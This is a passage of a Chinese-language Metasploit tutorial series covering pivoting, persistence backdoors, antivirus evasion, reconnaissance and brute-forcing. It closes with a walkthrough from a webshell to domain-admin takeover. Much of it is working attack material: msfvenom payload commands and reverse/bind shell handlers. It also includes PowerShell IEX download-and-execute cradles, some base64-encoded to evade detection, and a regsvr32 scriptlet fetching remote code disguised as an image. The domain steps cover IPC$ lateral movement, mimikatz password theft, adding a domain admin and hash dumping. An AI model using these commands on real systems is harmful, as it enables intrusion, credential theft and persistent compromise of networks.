可以看到已经成功访问

三．多级代理

1. 二级代理隧道

上面介绍了 meterpreter 基础的代理方法，但是有些实际环境不能直接使用，考虑如下环

境(内网机器 A、B。A 机器可以对外连接，但是访问控制很严格，只能访问到很少的内网

机器，B 机器不能对外连接，但是可以访问到很多核心服务和机器，A、B 之间可以互相访

问)，如果我们想通过 B 机器对核心服务和机器进行扫描和访问要怎么办呢？

这时候我们就 meterpreter 的 pivot 组合轻松实现二级代理就可以

效果示意图:attacker->xp-test1->xp-test2



首先接着上面，我们已经有一个 xp-test1 反弹回来的 meterprter 了，接着我们生成一个

正向的执行文件

root@kali:~# msfvenom -p windows/meterpreter/bind_tcp RHOST=0.0.0.0 L

PORT=4444 -f exe > Rmeter.exe

生成好以后在 xp-test2 上面运行

接着在 msf 里面添加路由

msf exploit(handler) > route add 10.1.1.129 255.255.255.255 2

[*] Route added

msf exploit(handler) > route print

Active Routing Table

====================

Subnet Netmask Gateway

------ ------- -------

10.1.1.129 255.255.255.255 Session 2

连接正向 meterpreter 获取权限

msf exploit(handler) > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows//bind_tcp

PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(handler) > set RHOST 10.1.1.129

RHOST => 10.1.1.129



msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---- --------------- -------- -----------

Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (accepted: seh, thread, proce

ss, none)

LPORT 444 yes The listen port

RHOST 10.1.1.129 no The target address

Exploit target:

Id Name

-- ----

0 Wildcard Target

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---- --------------- -------- -----------

Payload options (windows/meterpreter/bind_tcp):



Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (accepted: seh, thread, proce

ss, none)

LPORT 4444 yes The listen port

RHOST 10.1.1.129 no The target address

Exploit target:

Id Name

-- ----

0 Wildcard Target

msf exploit(handler) > run

[*] Started bind handler

[*] Starting the payload handler...

[*] Sending stage (770048 bytes)

[*] Meterpreter session 3 opened (192.168.101.105-192.168.101.107:0 -> 10.1.

1.129:4444) at 2015-01-11 13:34:37 +0800

现在已经获取到 xp-test2 的权限，注意这里是通过 xp-test1 pivot 代理

下面来验证下，查看 xp-test2 4444 端口

C:\Documents and Settings\Administrator>netstat -an | find "4444"

TCP 10.1.1.129:4444 10.1.1.128:1051 ESTABLISHED



是通过 xp-test1 进行连接的。

这时候二级代理已经搭建好了，你可以添加需要访问的 ip 到路由表，通过第二层的

session(session 3)，就可以使用 metaploit 的其他模块访问或扫描了

2.三级或多级代理

有时候过于庞大或者复杂的内网环境，甚至需要三层或者多层代理，原理与两层相似，通过

在第二层代理的基础上进行连接既可

示意图：attacket->xp-test1->xp-test2->xp-test3->…..

与两层代理类似，如下实现：

msf exploit(handler) > sessions -l

Active sessions

===============

Id Type Information Connection

-- ---- ----------- ----------

2 meterpreter x86/win32 XP-TEST1\Administrator @ XP-TEST1 192.168.10

1.105:444 -> 192.168.101.107:51205 (10.1.1.128)

4 meterpreter x86/win32 XP-TEST2\Administrator @ XP-TEST2 192.168.10

1.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)

msf exploit(handler) > route add 10.1.1.131 4

[-] Missing arguments to route add.

msf exploit(handler) > route add 10.1.1.131 255.255.255.255 4



[*] Route added

msf exploit(handler) > route print

Active Routing Table

====================

Subnet Netmask Gateway

------ ------- -------

10.1.1.129 255.255.255.255 Session 2

10.1.1.131 255.255.255.255 Session 4

msf exploit(handler) > set RHOST=10.1.1.131

[-] Unknown variable

Usage: set [option] [value]

Set the given option to value. If value is omitted, print the current value.

If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module&#039;s

datastore. Use -g to operate on the global datastore

msf exploit(handler) > set RHOST 10.1.1.131

RHOST => 10.1.1.131

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---- --------------- -------- -----------

Payload options (windows/meterpreter/bind_tcp):



Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (accepted: seh, thread, proce

ss, none)

LPORT 4444 yes The listen port

RHOST 10.1.1.131 no The target address

Exploit target:

Id Name

-- ----

0 Wildcard Target

msf exploit(handler) > run

[*] Started bind handler

[*] Starting the payload handler...

[*] Sending stage (770048 bytes)

[*] Meterpreter session 5 opened (192.168.101.105-_1_-192.168.101.107:

0 -> 10.1.1.131:4444) at 2015-01-11 13:45:53 +0800

meterpreter > background

[*] Backgrounding session 5...

msf exploit(handler) > sessions -l

Active sessions

===============

Id Type Information Connection



-- ---- ----------- ----------

2 meterpreter x86/win32 XP-TEST1\Administrator @ XP-TEST1 192.168.10

1.105:444 -> 192.168.101.107:51205 (10.1.1.128)

4 meterpreter x86/win32 XP-TEST2\Administrator @ XP-TEST2 192.168.10

1.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)

5 meterpreter x86/win32 XP-TEST3\Administrator @ XP-TEST3 192.168.10

1.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444 (10.1.1.131)

在 xp-test3 查看端口连接

C:\Documents and Settings\Administrator>netstat -an | find "4444"

TCP 10.1.1.131:4444 10.1.1.129:1032 ESTABLISHED

在 xp-test2 查看 4444 端口

C:\Documents and Settings\Administrator>netstat -an | find "4444"

TCP 10.1.1.129:1032 10.1.1.131:4444 ESTABLISHED

TCP 10.1.1.129:4444 10.1.1.128:1054 ESTABLISHED

说明已经实现三级连接，即 attacker->xp-test1->xp-test2->xp-test3

在我们内网渗透的时候会经常用到代理，也希望大家去多搜集一下代理的隧道的精髓文章，

然后自己搭建环境测试

第十章节



前沿:上一章节我们谈到如果转发端口，如何加入临时理由表，如何利用 sk4 代理，这些大

部分都适用于渗透后，要对内网的机器有所作为的时候使用，这一章节我们来认识一下渗透

后的权限维护，metasploit 后门并不怎么好用，我建议大家拿到控制权限后利用外部第三

方后门

一．Msf 中自带的后门脚本

首先介绍一下 metasploit 中已经含有的可以创建持续后门的脚本

1.Persistence

用于创建通过启动项，会创建注册表，创建文件，很容易被杀软拦截

使用举例：run persistence -A -U -i 5 -p 443 -r 192.168.11.109

使用-S 可创建服务，-U 会在 HKCU 添加启动项，-X 会在 HKLM 添加启动

能实现同样功能的脚本还有：



exploit/windows/local/persistence.rb

exploit/windows/local/registry_persistence.rb

2、Metsvc

用于创建服务启动。会创建 meterpreter 服务，并上传三个文件，很容易被杀软拦截并且

安装服务需要管理员权限

使用举例：run metsvc -A 使用 -r 参数可卸载服务

3、Scheduleme & Schtasksabuse

这两个脚本都是通过 schtasks 来创建计划任务来达到维持权限的目的，区别是 scheduleme

需要当前进程拥有最高管理权限，而 schtasksabuse 则不需要（测试发现很容易被杀软拦

截）

使用举例：

(1)Scheduleme



run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传 nc 并创建计

划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'

run scheduleme -m 1 -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算

器命令

(2)Schtasksabuse



run schtasksabuse -t 192.168.11.109 -c "cmd /c calc.exe" -d 4 #每隔 4 秒执行一

次 calc.exe 使用脚本需要加-t 参数

能实现同样功能的脚本还有：

exploits/windows/local/s4u_persistence.rb

二．自动攻击脚本

说到要自动运行脚本，离不了 autorunscript。autorunscript 是一个十分强大的脚本，可

以让我们在生成会话的同时，执行指定的操作。现在可以直接通过 autorunscript 来直接

调用的脚本已经有 66 个，目录在 metasploit/scripts/meterpreter，包括屏幕截图，获取

环境变量等等，还有我们常用的 migrate，uploadexec 等

举个例子，如果我们想在获取到会话的同时，执行 persistence 进行留后门操作可以直接

这样：

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.11.110

set LPORT 5555



set ExitOnSession false

set AutoRunScript persistence -r 192.168.11.110 -p 5556 -U -X -i 30

（同样可以设置 metsvcset set AutoRunScript metsvc -A)

exploit -j -z

当生成会话以后，自动执行 persistence

以上两种方式很容易被杀软拦截

再介绍两个很有用的脚本:multi_console_command 及 multicommand

1.multi_console_command

用来执行 msf 的命令的脚本，帮助信息如下：

使用示例：

meterpreter > run multi_console_command -cl "pwd"

cl 参数用来执行一条 meterpreter 的命令，rc 参数用来执行多条 meterpreter 命令，按行

分割

2.multicommand



用来执行 cmd 命令的脚本

使用示例：run multicommand -cl "whoami"

此脚本可用来执行 cmd 命令

三．Resource 脚本

除了使用以上 Autorunscript，使用 Resource 脚本也是可以的，通常我们常见的 rc 脚本

内容是这样的：

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.11.109

set ExitOnSession false

exploit -j -z

将以上内容保存为 1.rc，然后执行如下命令：

msfconsole -r 1.rc

自动输入命令而省去了我们一条一条输入的繁琐。其实，rc 文件里面也可以写 ruby 代码的，

一个简单的示例如下：

use exploit/multi/script/web_delivery

set target 2

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.11.110

set lport 6666

set uripath /

set ExitOnSession false



exploit -j

<ruby>

sleep(1)

print_status("Waiting on an incoming sessions...")

while (true)

framework.sessions.each_pair do |sid,s|

thost = s.tunnel_peer.split(":")[0]

# Ensure that stdapi has been loaded before running

if s.ext.aliases['stdapi']

sleep(2)

print_status("run screenshot to session #{sid} #{thost}...")

s.console.run_single("screenshot")

sleep(2)

print_status("Executing persistent command...")

s.console.run_single("run persistence -r 192.168.11.110-p 5556 -U

-i 30")

sleep(4)

print_status("Closing session #{sid} #{thost}...")

s.kill

print_status("Waiting on an incoming sessions...")

else

print_status("Session #{sid} #{thost} active, but not yet

configured")

sleep(15)

end

end

sleep(4)

end

print_status("All done")

</ruby>



使用以上 Resource 的效果是，开启 exploit/multi/script/web_delivery 进行配置并开启

监听，当产生一个会话以后，自动执行 screenshot 以及 persistent 操作，最后关闭当前

会话继续等待

四．绕过拦截

至此，我们已经可以通过使用 autorunscript 或者使用添加 ruby 代码的 resource 脚本两

种方式来让 msf 在产生会话的同时自动创建 Persistent Backdoor 了，那么 AV 那一关怎么

过呢？别着急，很多人都知道，Powershell 在绕 AV 上有不错的效果，那我们就试试使用

Powershell

测试过程如下：

1、首先我们先通过 web_delivery 的 PSH 获取到一个 meterpreter 会话。

2、构造创建计划任务命令如下：

schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #指定每

1小时执行一次 notepad.exe

3.将以上命令写入 schtasks.ps1，然后通过 IEX 下载执行，这种方式就不会被拦截了：

powershell -nop -exec bypass -c "IEX (New-Object

Net.WebClient).DownloadString('https://raw.githubusercontent.com/Rid

ter/Pentest/master/powershell/DemoShell/schtasks.ps1');"

4.将命令写入 autorunscript 由于命令中存在引号，可以通过编码方式解决，详细如下：

echo "IEX (New-Object

Net.WebClient).DownloadString('https://raw.githubusercontent.com/Rid

ter/Pentest/master/powershell/DemoShell/schtasks.ps1');" | iconv

--to-code UTF-16LE |base64



最后执行的命令为：

powershell -ep bypass -enc

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABp

AGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAA

cwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAu

AGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIA

LwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0

AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==

5.之后我们就需要用到 multicommand 脚本了，自动运行的命令为：

set autorunscript 'multicommand -cl "powershell -ep bypass -enc

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABp

AGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAA

cwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAu

AGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIA

LwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0

AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA=="'



如图 1：

图 2：

图 3：

图 4：



图 5：

现在我们就在获取 meterpreter 会话之后，绕过拦截自动创建了计划任务，至于怎么样使

用计划任务创建一个后门，其实已经有了现成的 powershell 脚本请看拓展

五.拓展

PowerSploit 是一个 Powershell的渗透框架，其中含有 Persistence模块，不知道小伙

伴没有没有测试过。具体怎么使用这里就不详细介绍了，有兴趣可是看一下里面的 Help信

息。

1、首先，生成一个自动创建计划任务后门的脚本：

加载 Persistence模块：

PS C:\Persistence> Import-Module .\Persistence.psm1

https://github.com/PowerShellMafia/PowerSploit


因为常常我们希望在没有最高权限的情况下创建后门，为了避免杀软，尽量不使用添加注

册表的方式，所以，这里依然使用计划任务的方式来创建，执行时间是计算机空闲状态执

行。具体命令如下：

PS C:\Persistence> $ElevatedOptions = New-ElevatedPersistenceOption

-ScheduledTask -OnIdle

PS C:\Persistence> $UserOptions = New-UserPersistenceOption -ScheduledTask

-OnIdle

PS C:\Persistence> Add-Persistence -FilePath .\p-c.ps1

-ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions

-Verbose

可以看脚本说明更改触发条件

p-c.ps1是计划任务要执行的 payload，可以使用以下命令来生成。

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.11.110

lport=7777 -f psh-reflection -o p-c.ps1

最终生成脚本如下：

红色圈圈内是我们生成的 psl

2、测试脚本功能：

将 Persistence.ps1 脚本放到 web上通过 IEX来加载。创建成功以后当电脑空闲时，会执

行命令，从而产生meterpreter会话。

测试方式为执行以下命令：



powershell -nop -exec bypass -c "IEX (New-Object

Net.WebClient).DownloadString('http://domain.com/Persistence.ps1'); "

测试发现脚本可以实现我们想要的功能。

3、构造 Autorunscript命令：

现在要做的就是把 Auturunscript 以及 Persistence.ps1 相结合使用，由于命令中存在引

号，可以根据前文中提到的方式进行编码处理。但是，经过测试，按照上文中的方式执行

是有问题的，multicommand 执行会等待程序执行结束并获取执行结果，这样一来，由于

执行的进程不会退出且无回显，所以，会导致程序报错！

构造 sct文件如下：

<?XML version="1.0"?>

<scriptlet>

<registration

progid="ShortJSRAT"

classid="{10001111-0000-0000-0000-0000FEEDACDC}" >

<!-- Learn from Casey Smith @subTee -->

<script language="JScript">

<![CDATA[

rat = "base64codes"

ps = "cmd.exe /c powershell -window hidden -enc "

new ActiveXObject("WScript.Shell").Run(ps + rat,0,true);

]]>

</script>

</registration>

</scriptlet>

将以上内容命名为 test.jpg并放到 web服务器上（替换掉 base64codes），之后执行

regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll



与执行 powershell 的命令是等价的。并且会通过 regsvr32 开启新的进程而不影响

multicommand的执行。

所以最终要设置的内容为：

set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg

scrobj.dll"'

当获取meterpreter会话以后，自动执行命令安装后门：

这样，两者就完美的结合了。重启以后，空闲状态时，脚本执行，重新获取 meterpreter

会话，这里就不截图了

以上命令可写入 rc 文件方便运行：

payload.rc：

use exploit/multi/script/web_delivery

set target 2

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.2.101

set lport 6666

set uripath /

set ExitOnSession false

set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg

scrobj.dll"'

exploit -j

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_https

set lhost 192.168.11.110

set lport 7777

set ExitOnSession false

exploit -j



对于 metasploit 的后门而言，我还是坚持以第三方后门为准，其中里面的内容我在测试时

360 会给予拦截，本章节内容是我搜集 Evi1cg 大牛原创本文重点介绍一下 Autorunscript

这个功能以及几个比较实用的脚本

第十一章节

前沿：在进行信息收集的时候，我们既要全面详细的获取目标的信息，本文会详细的介绍

如何利用 Metasploit 进行信息收集

信息收集分为主动和被动两种方式：

一．被动信息收集：

被动信息收集是指在不直接接触没目标系统的情况下寻找信息。比如，通过搜索引擎等方

式可以获得目标的操作系统，开放的端口，web 服务器软件等信息

二．主动信息收集：

主动信息收集中，我们可以直接和系统交互，从而获得更多的信息，比如通过扫描目标系

统开放的端口来确定对方开放的服务，每一个开放的服务都可能给我们提供了入侵的机会。

需要注意的是，主动的信息收集很可能被 IDS 和 IPS 抓住踪迹

要想很好的搜集信息并为了有一个良好的查看结果，那么我们要做好以下启动 msfconsole

的三步

(1)启动数据库

(2)查看数据库

(3)链接数据库

以上的三个步骤大家去第二章节中查看这只是方便调用 db_nmap 来扫描主机，并方便查询

扫描的结果，那么我们这一章节介绍一下利用辅助模块扫描搜集信息，也进一步的了解爆

破的使用

一．信息搜集

1.使用 metasploit 自带的端口扫描器



在第二章节中我们也介绍了这个板块 #msf > search portscan

目前两大主流扫描模式 syn tcp

2.smb_version

smb_version 模块识别 windows 的版本

利用模块：auxiliary/scanner/smb/smb_version

这里可以扫描整个内网区域 如：192.168.11.1/24

3.mssql_ping

默认 MS SQL server 会监听 1433 端口或者一个随机的 TCP 端口，如果监听的是随机端口的

话，可以通过 UDP 在 1434 端口查询具体监听的是哪个端口

利用模块:auxiliary/scanner/mssql/mssql_ping



4.ssh_version

识别 ssh 使用的软件版本

利用模块：auxiliary/scanner/ssh/ssh_version

扫描线程自己随意设置这里只是一个演示

5.ftp_version

ftp_version 模块来寻找目标网络中的 FTP server



利用模块呀：auxiliary/scanner/ftp/ftp_version

二．暴力破解

Metasploit 可以对 mysql ftp ssh tomcat 等等进行爆破，这里我们来两个例子来让大家

了解

1.mysql_login

利用模块：auxiliary/scanner/mysql/mysql_login



USER_FILE 是你的用户字典

PASS_FILE 是你的密码字典

当然你也可以用 metasploit 自带的字典

2.tomcat_mgr_login

利用模块:auxiliary/scanner/http/tomcat_mgr_login



看上图中爆破 tomcat 时，metasploit 默认采用了自带的账号密码，所以我们也可以换成我

们自己的用户字典和密码字典

Metasploit 自带字典路径:



我们在搜索 tomcat 爆破模块的时候，它同时有一个攻击利用模块 举例：

1.设置爆破

msf > search tomcat

msf > use auxiliary/scanner/http/tomcat_mgr_login

msf auxiliary(tomcat_mgr_login) > set rhost xxx

msf auxiliary(tomcat_mgr_login) > set rport 8180

msf auxiliary(tomcat_mgr_login) > exploit

2.利用爆出的用户密码得到 shell

假设我们爆出了账号密码都为 tomcat 那么就利用下方的举例进行反弹 shell

msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy

msf exploit(tomcat_mgr_deploy) > set rhost xxx

msf exploit(tomcat_mgr_deploy) > set rport 8180

msf exploit(tomcat_mgr_deploy) > set username tomcat

msf exploit(tomcat_mgr_deploy) > set password tomcat

msf exploit(tomcat_mgr_deploy) > exploit

Metasoloit 模块很多我们也只是演示了冰山一角，下面我给大家列出常用的一些模块希望

大家多多去练习

metaspliot 常见探测服务模块：



端口扫描

auxiliary/scanner/portscan

scanner/portscan/ack ACK 防火墙扫描

scanner/portscan/ftpbounce FTP 跳端口扫描

scanner/portscan/syn SYN 端口扫描

scanner/portscan/tcp TCP 端口扫描

scanner/portscan/xmas TCP"XMas"端口扫描

smb 扫描

smb 枚举 auxiliary/scanner/smb/smb_enumusers

返回 DCERPC 信息 auxiliary/scanner/smb/pipe_dcerpc_auditor

扫描 SMB2 协议 auxiliary/scanner/smb/smb2

扫描 smb 共享文件 auxiliary/scanner/smb/smb_enumshares

枚举系统上的用户 auxiliary/scanner/smb/smb_enumusers

SMB 登录 auxiliary/scanner/smb/smb_login

SMB 登录 use windows/smb/psexec

扫描组的用户 auxiliary/scanner/smb/smb_lookupsid

扫描系统版本 auxiliary/scanner/smb/smb_version

mssql 扫描(端口 tcp1433udp1434)

admin/mssql/mssql_enum MSSQL 枚举



admin/mssql/mssql_exec MSSQL 执行命令

admin/mssql/mssql_sql MSSQL 查询

scanner/mssql/mssql_login MSSQL 登陆工具

scanner/mssql/mssql_ping 测试 MSSQL 的存在和信息

另外还有一个 mssql_payload 的模块 利用使用的

smtp 扫描

smtp 枚举 auxiliary/scanner/smtp/smtp_enum

扫描 smtp 版本 auxiliary/scanner/smtp/smtp_version

snmp 扫描

通过 snmp 扫描设备 auxiliary/scanner/snmp/community

ssh 扫描

ssh 登录 auxiliary/scanner/ssh/ssh_login

ssh 公共密钥认证登录 auxiliary/scanner/ssh/ssh_login_pubkey

扫描 ssh 版本测试 auxiliary/scanner/ssh/ssh_version

telnet 扫描

telnet 登录 auxiliary/scanner/telnet/telnet_login

扫描 telnet 版本 auxiliary/scanner/telnet/telnet_version

tftp 扫描

扫描 tftp 的文件 auxiliary/scanner/tftp/tftpbrute

ftp 版本扫描 scanner/ftp/anonymous



ARP 扫描

auxiliary/scanner/discovery/arp_sweep

扫描 UDP 服务的主机 auxiliary/scanner/discovery/udp_probe

检测常用的 UDP 服务 auxiliary/scanner/discovery/udp_sweep

sniffer 密码 auxiliary/sniffer/psnuffle

snmp 扫描 scanner/snmp/community

vnc 扫描无认证扫描 scanner/vnc/vnc_none_auth

web服务器信息扫描模块

Module auxiliary/scanner/http/http_version

Module auxiliary/scanner/http/open_proxy

Module auxiliary/scanner/http/robots_txt

Module auxiliary/scanner/http/frontpage_login

Module auxiliary/admin/http/tomcat_administration

Module auxiliary/admin/http/tomcat_utf8_traversal

Module auxiliary/scanner/http/options

Module auxiliary/scanner/http/drupal_views_user_enum

Module auxiliary/scanner/http/scraper

Module auxiliary/scanner/http/svn_scanner

Module auxiliary/scanner/http/trace

Module auxiliary/scanner/http/vhost_scanner



Module auxiliary/scanner/http/webdav_internal_ip

Module auxiliary/scanner/http/webdav_scanner

Module auxiliary/scanner/http/webdav_website_content

文件目录扫描模块

Module auxiliary/dos/http/apache_range_dos

Module auxiliary/scanner/http/backup_file

Module auxiliary/scanner/http/brute_dirs

Module auxiliary/scanner/http/copy_of_file

Module auxiliary/scanner/http/dir_listing

Module auxiliary/scanner/http/dir_scanner

Module auxiliary/scanner/http/dir_webdav_unicode_bypass

Module auxiliary/scanner/http/file_same_name_dir

Module auxiliary/scanner/http/files_dir

Module auxiliary/scanner/http/http_put

Module auxiliary/scanner/http/ms09_020_webdav_unicode_bypass

Module auxiliary/scanner/http/prev_dir_same_name_file

Module auxiliary/scanner/http/replace_ext

Module auxiliary/scanner/http/soap_xml

Module auxiliary/scanner/http/trace_axd

Module auxiliary/scanner/http/verb_auth_bypass



web应用程序漏洞扫描模块

Module auxiliary/scanner/http/blind_sql_query

Module auxiliary/scanner/http/error_sql_injection

Module auxiliary/scanner/http/http_traversal

Module auxiliary/scanner/http/rails_mass_assignment

Module exploit/multi/http/lcms_php_exec

第十二章节

一．反弹 meterpreter

这一次我们还是利用 reverse_https 模块反弹 如图：



设置 https payload

反弹成功

二．尝试提权 2102 服务器

我们首先拿到一个 Webshell 的时候想到的第一件事是什么？那肯定是提权，我也想

大家想的一样，首先开始了我们的提权之旅。首先使用 msf 的 search 模块 ms15,会得到

一些漏洞利用的模块，我尝试了 ms15_05 以及 ms15_078 全部以失败结束，详细的图如下

所示：



三．尝试当前账号 Bypassuac 提权

刚开始一直忘说了一件事， 那就是 webshell 本身的权限， 我们目前 webshell

是 jsp 的，具有当前的一个普通域用户的权限。我于是也想到了是不是可以通过 bypassuac

来完成提权呢，但是测试的结果可想而知，又一次失败了，目前详细的情况如下：

用户权限是网站用户



尝试 bypassuac

四．相关信息收集

当我们此时提权不成功的情况下，我们还是可以利用当前的用户进行域渗透测试的，那

么目前我们具有以下几种方式进行渗透测试域：

1.收集域里面的相关信息，包括所有的用户，所有的电脑，以及相关关键的组的信息

常使用到的命令如下：

net user /domain

Net group “domain computers” /domain

net group “domain admins” /domain #查看域管理员

net localgroup administrators

net view /domain

2.收集 sqlserver 的相关信息，如果当前堡垒机使用了 sql server 的话，恰巧用户是当

前

的域用户的话，我们在此可以使用 sqlcmd 的信息收集，以及扫描攻击。在这里只是提到，

因为篇幅问题，暂时不做深一层讨论，根据我的渗透测试经验，我在此只是做了最简单的

信息收集，首先使用 sqlcmd 的获取 sql server 的所有机器列表、当前堡垒机的机器名、

当前堡垒机的 IP、还有 net view 来做简单的信息收集，详细的图如下所示：



获取信息

当前的机器名



相关机器名

五．信息分析获取一台服务器权限

当我们信息收集完成以后，我们要开始考虑接下来要做什么，首先我们来看一下我们目

前拥有什么：

A 一个域用户的进程权限，当前堡垒机是 windows server 2012,提权失败（假如能提

权成功，我们依然是无法获取到用户的明文密码）

B 当前的堡垒机的用户名

C 当前 sqlcmd 获取到的同样安装了 sql server 机器的名称

目前我们的思路有：

1 使用 meterpreter 的目前权限来添加路由进行弱口令扫描

2 使用 powershell 对内网进行扫描(本次渗透测试使用了，但是在这里暂时没有使用)

具体来说时间比较慢一点，当然此时此刻 powershell 绝对算是一个内网渗透测试又一神

器

3 使用当前的用户权限架设 socks4a，然后利用第一步我们获取到的信息 socks 进行内

网扫描

4 使用当前用户的权限，对域里面的电脑进行 IPC，或者 DIR 溢出(也就是 dir 其他电脑

的 c 盘，如果成功表示有权限)批量测试

通过上面的分析，此时我选择了最偷懒的一种方法，进行当前堡垒机的机器名和 net



view 的机器名进行对比，找出来非常相似的几个机器名，手动测试，当前速度也是非常快

的，在尝试了两次的时候就成功了，详细过程如下：

Net use \\ip\c$

Tasklist /v /s ip

Net use 测试成功



tasklist 执行成功

六.域信息收集

首先在第四步已经说了域相关的信息收集，这里就不做过多的介绍了，这次是在第五步

的基础上做的相关收集，相关知识点如下：

1.域信息收集，其中用到的命令如下：

Net group “domain admins” /domain

Net group /domain

Net group “domain controllers” /domain

Net group “enterprise admins” /domain

2.ipc$入侵，大家相关的话自行百度经典 IPC$入侵

Net use \\ip\c$

Copy bat.bat \\ip\c$ （其中 bat.bat 是 powershell 的 meterpreter）

Net time \\ip

At \\ip time c:\bat.bat

3.上传抓明文工具 64.exe（mimikatz 神器），大家都懂的

Upload /home/64.exe c:\

Shell

Cd \

64.Exe

4.查看抓取到的用户的详细信息

Net use xxx /domain

5.使用 meterpreter 的 ps,查看相关用户的进程列表



6.尝试使用域令牌假冒

Use incongnito

list_token -u

Impersonate_token xxxxxx

我在这次渗透测试过程中尝试上面讲到的所有知识点，详细的截图如下:

查看域控管理员

查看域控制组



查看域控制器

查看企业管理组

共享复制我们准备好的 payload



本地监听反弹 meterpreter

查看目标机器操作系统版本信息



上传法国神器

抓取明文密码



查看域控权限

尝试盗窃令牌

查看主域控的 IP



七.利用 smb 传递

1.使用当前获取到的两个用户权限，快速的进行扫描 2.smb_login 扫描

3.端口转发进内网

详细知识点如下：

1.msf 添加路由 route add ip mask sessionid

2.smb_login 模块或者使用 psexec_scanner(这个模块需要你自己搜索一下)

3.meterpreter 端口转发

4.msf 的 socks4a 模块

配置 smb_login 扫描信息

通用密码测试成功的机器



转发端口

利用 Powershell 获取域控在线的机器

八.域控管理员权限的获取(windows2012 权限)

添加域管账户

Net user demo demo /ad /domain



Net group “domain admins” demo /ad /domain

注入域管进程连接域控

添加域管理账号

九.msf psexec 反弹域控 shell



meterpreter 的 https 模块反弹成功



域控的系统信息

十.Meterpreter 获取所有用户的 hash
有了域的权限之后，如果我们还想进行深层次的控制，那么 dumphash 是必不可少的。

首先来看看我们需要的知识：

1.msf 有两个模块可以使用，一个是 hashdump，此模块只能导出本地的 hash，大家测

试就可以知道了，另外一个是 smart_hashdump,此模块可以用来导出域用户的 hash.

2.powershell 有可以直接导出的模块，大家自行尝试一下

3.wce,mimikatz 等神器的使用

在这里我采用的是 msf 的 smart_hashdump 的模块。在此需要注意的是要想使使用此模

块导出 hash，必须要使用 system 的权限才行。详细的过程如下图：

smart_hashdump 模块的使用



这里是整理一下之前用到的一些技术，和走过的一些弯路。文档到这差不多算是完成了

一个从 webshell 到域控的探索之路算是完成了，当然在这里我把过程中走的一些弯路还

有不足点指出来，欢迎大家的指正，共同学习

控制的机器

根据上面的图知道，我现在控制的 Session 一共有 5 个，其中有四个是必须要获取的，

分别为 session1,session2 session4,session5。其中 session1 为 webshell 反弹所获

得，第二个 session2 是信息分析获取到的，,session4 为获取域管理员所获取，session5

为域

总结:此章节最后归纳一下我们使用的到技术

1.反弹 shell

2.2.利用提权模块提权

3.3.寻找域控测试 ipc

4.4.找到域控添加管理员

5.5.查看域控内所在线的机器 ip

6.6.读取域控所有的 hash

7.7.smb hash 传递

在对大家介绍一下一些关于域控的辅助模块

1.post/windows/gather/enum_domain 查看域控

2.post/windows/gather/enum_domain_group_users 正常窗口集合枚举域组

3.post/windows/gather/enum_domain_users 正常的窗口聚集枚举活动域用户

4.post/windows/gather/enum_tokens 窗口聚集枚举域管理令牌（令牌猎人）

5.post/windows/gather/local_admin_search_enum 收集本地 Windows 管理员

6.post/windows/manage/add_user_domain 窗口管理将用户添加到域和/或域

组

结束



至此所有的章节就完成了整理，也欢迎大家一起多多交流相互学

习，我整理例子有,发现一个厉害的人,真想跟他好好的学习

metasploit 我的小群随时欢迎 QQ 群：537620869

再见！
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